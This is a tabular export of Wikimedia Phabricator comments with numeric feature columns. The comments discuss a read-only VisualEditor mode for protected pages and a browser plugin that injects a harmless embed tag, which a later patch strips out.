This doesn't happen for me locally, only on Beta, which has been stuck in readonly mode for two weeks now.",,,1551137528,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,295,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.8,"QUOTE
QUOTE
QUOTE
This doesn't happen for me locally, only on Beta, which has been stuck in readonly mode for two weeks now."
1231464,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages",">>! In T53547#4977107, @matmarex wrote:
> You can only access it by switching from old wikitext editor
Or  by using `veaction=edit`.

> Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).
And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly.""",,,1550913707,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,294,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.4878048780487805,0.8292682926829268,"QUOTE
QUOTE
Or  by using CODE.

QUOTE
And if the user doesn't have NWE enabled, switching back to wikitext gives an error: ""Error loading data from server: readonly."""
1231271,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Read-only VE is now available, but rather sneaky. You can only access it by switching from old wikitext editor:

{F28266181}

I think we should consider some more obvious ways to access it. Should we have another tab for it, called ""View in editor"" or something?

Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).

----

After we settle on this, we should probably brag about this in Tech News (#user-notice). Something like ""You can now open the visual editor in read-only mode on protected pages to see how they are made or copy citations to other pages"".",,,1550868857,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,294,,0.5,1.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.5,2.0,0.0,0.0,1.5,0.0,3.0,0.0,6.0,11.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,2.5,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.5,1.5,1.5,8.5,1.0,3.0,4.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,6.0,11.0,4.5,0.5,2.5,0.0,6.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,3.72972972972973,0.7635135135135136,"Read-only VE is now available, but rather sneaky. You can only access it by switching from old wikitext editor:

{F28266181}

I think we should consider some more obvious ways to access it. Should we have another tab for it, called ""View in editor"" or something?

Additionally, if the user has NWE enabled, the old wikitext editor is still used for protected pages (but NWE loads after switching to visual and back).

----

After we settle on this, we should probably brag about this in Tech News (#user-notice). Something like ""You can now open the visual editor in read-only mode on protected pages to see how they are made or copy citations to other pages""."
1231258,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Change 489416 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages

[[https://gerrit.wikimedia.org/r/489416]]",,,1550868092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,294,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.75,"Change 489416 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages

[[GERRIT_URL]]"
1222586,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","Change 489416 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages

[[https://gerrit.wikimedia.org/r/489416]]",,,1549749958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,False,,,292,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.075,0.85,"Change 489416 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Load VE in read-only mode on protected pages

[[GERRIT_URL]]"
1178498,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","The ability to load VE at all on protected pages was removed in https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/350471/. As a result you can only open the wikitext view source page.

Ideally you would be able to open VE in read-only mode as this bug describes.",,,1542299795,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,280,,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,17.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.8478260869565217,"The ability to load VE at all on protected pages was removed in URL As a result you can only open the wikitext view source page.

Ideally you would be able to open VE in read-only mode as this bug describes."
254584,"VisualEditor: Provide a ""view VE"" mode / disable editing for protected pages","(In reply to comment #0)
> There should be a view-source equivalent for the visual editor so that people
> can see the page in VE as if the could edit it.

This could get quite complex, but do-able if it's worth it.

> It should allow them to interrogate things like template, so they can find out
> which template is producing what they see and how it does that.

I can sort-of see the value here, but it's not great.

> When VE can cope with copy+paste, then this will also allow them to copy and
> paste the relevant image/template/whatever to whatever article they are working
> on.

We're probably going to want to do this with ""read mode"" HTML rather than build something like that (so, you copy something from the action=read and paste into veaction=edit and you get the template/etc. magically working).

Marking as ""low"" priority given difficulty and relatively low value for users; happy to be convinced otherwise.",,,1375300513,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3k3gj4cbyainkrjcrt7,task_subcomment,,True,c1,3,True,,,4,,0.0,1.5,0.0,1.0,0.5,5.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,1.0,0.0,6.5,9.0,1.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.5,1.5,1.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,7.0,0.5,3.5,4.0,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,4.0,9.0,1.5,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,3.4693509615384617,0.7138221153846154,"(In reply to comment #0)
QUOTE
QUOTE

This could get quite complex, but do-able if it's worth it.

QUOTE
QUOTE

I can sort-of see the value here, but it's not great.

QUOTE
QUOTE
QUOTE

We're probably going to want to do this with ""read mode"" HTML rather than build something like that (so, you copy something from the action=read and paste into veaction=edit and you get the template/etc. magically working).

Marking as ""low"" priority given difficulty and relatively low value for users; happy to be convinced otherwise."
53521,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","I had OpenODBC's iODBC plugin installed in Safari (latest release, always). After any edit, EMBED tags would be inserted at the top and bottom of the article. This did not occur with the source editor, or any other editable widget, like this one I'm typing in now.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51423",Low,25.0,1374057480,1412114235.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-h64w6lawxsfffv5qe4yw,task_description,resolved,True,c1,3,False,False,False,2,,2.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.558139534883721,0.6976744186046512,"I had OpenODBC's iODBC plugin installed in Safari (latest release, always). After any edit, EMBED tags would be inserted at the top and bottom of the article. This did not occur with the source editor, or any other editable widget, like this one I'm typing in now.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
253297,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412114000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2,1.0,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
253292,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412113106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
253286,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",Can't see a link to a bug filed upstream -> rm upstream keyword,,,1400336197,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,45,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,3.4,0.8666666666666667,Can't see a link to a bug filed upstream -> rm upstream keyword
253277,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","(In reply to PiRSquared17 from comment #10)
> This is now assigned to James Forrester.

No it isn't. Above line clearly says:

Assigned To: 	 VE team bugs – take if you're interested!",,,1395876859,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.289473684210526,0.9473684210526315,"(In reply to PiRSquared17 from comment #10)
QUOTE

No it isn't. Above line clearly says:

Assigned To: 	 VE team bugs – take if you're interested!"
253271,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",This is now assigned to James Forrester. Will a special test for this specific text be added? What can be done to fix this bug? Seems more like an upstream issue IMHO.,,,1395865021,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,8.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,3.7777777777777777,0.8611111111111112,This is now assigned to James Forrester. Will a special test for this specific text be added? What can be done to fix this bug? Seems more like an upstream issue IMHO.
253265,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","PiRSquared17 is right. This is not VE's fault. It only occurs in VE because of the way it sets up the editing area, which your plugin doesn't recognise as not to touch.

No and no.",,,1375284998,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4186046511627906,0.8372093023255814,"PiRSquared17 is right. This is not VE's fault. It only occurs in VE because of the way it sets up the editing area, which your plugin doesn't recognise as not to touch.

No and no."
253261,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","""This is not VE's fault.""

I am not at all certain of this. This problem ONLY occurs in VE. It does not occur in the source editor, or any other text editor across the whole wide web.

Something in VE is triggering this plugin to insert code. The plugin and the code it's inserting, is perfectly valid.",,,1375274462,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,3.0,1.0,1.0,0.0,4.0,7.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,10.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,10.0,7.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.492957746478873,0.6619718309859155,"""This is not VE's fault.""

I am not at all certain of this. This problem ONLY occurs in VE. It does not occur in the source editor, or any other text editor across the whole wide web.

Something in VE is triggering this plugin to insert code. The plugin and the code it's inserting, is perfectly valid."
253258,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",You could write an AbuseFilter to prevent edits like this. This is not VE's fault. There is a problem with the extension. Has anyone notified the author of said extension?,,,1375240617,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.057142857142857,0.8571428571428571,You could write an AbuseFilter to prevent edits like this. This is not VE's fault. There is a problem with the extension. Has anyone notified the author of said extension?
253255,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","(In reply to comment #5)
> From my understanding, using this bug targetedly it is possible for Browser
> Add-Ons to insert malicious code in Wikipedia pages. The Wikipedia user will
> not even notice. I put importance to ""immediate"", in case I'm wrong please
> undo
> my change.

embed is not one of the allowed html tags when $wgRawHtml is disabled, so the embed tag is escaped as a security measure.  No malicious injection is possible via this bug.

The now archived discussion is
https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29/Archive_114#Is_this_me_or_the_editor.3F

Examples:
https://en.wikipedia.org/w/index.php?title=The_Road_%282009_film%29&diff=prev&oldid=563739949
https://en.wikipedia.org/w/index.php?title=The_Road_%282009_film%29&diff=prev&oldid=564586766
https://en.wikipedia.org/w/index.php?title=Informix_Wingz&diff=prev&oldid=564587579",,,1375131440,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,7.0,18.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.6666666666666666,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

embed is not one of the allowed html tags when $wgRawHtml is disabled, so the embed tag is escaped as a security measure.  No malicious injection is possible via this bug.

The now archived discussion is
URL

Examples:
URL
URL
URL"
253251,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","**wikipedia** wrote:

From my understanding, using this bug targetedly it is possible for Browser Add-Ons to insert malicious code in Wikipedia pages. The Wikipedia user will not even notice. I put importance to ""immediate"", in case I'm wrong please undo my change.",,,1375128154,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,7.0,2.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,9.0,10.0,12.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8793103448275863,0.7931034482758621,"**wikipedia** wrote:

From my understanding, using this bug targetedly it is possible for Browser Add-Ons to insert malicious code in Wikipedia pages. The Wikipedia user will not even notice. I put importance to ""immediate"", in case I'm wrong please undo my change."
253246,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","It is adding
<embed type=""application/iodbc"" width=""0"" height=""0"" />",,,1374448472,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.875,0.8125,"It is adding
<embed type=""application/iodbc"" width=""0"" height=""0"" />"
253239,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page",Have you reported it to the author yet?,,,1374165651,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,Have you reported it to the author yet?
253234,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Actually my post over on the Village Pump *appears* to have turned up several other examples of plugins having the same problem. Not much more I can add though...

http://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)

Look for ""Is this me or the editor?"" (I can't get the section link to work)",,,1374086422,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,0.0,3.0,7.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,16.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,5.0,2.0,3.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,3.4655172413793105,0.8620689655172413,"Actually my post over on the Village Pump *appears* to have turned up several other examples of plugins having the same problem. Not much more I can add though...

URL

Look for ""Is this me or the editor?"" (I can't get the section link to work)"
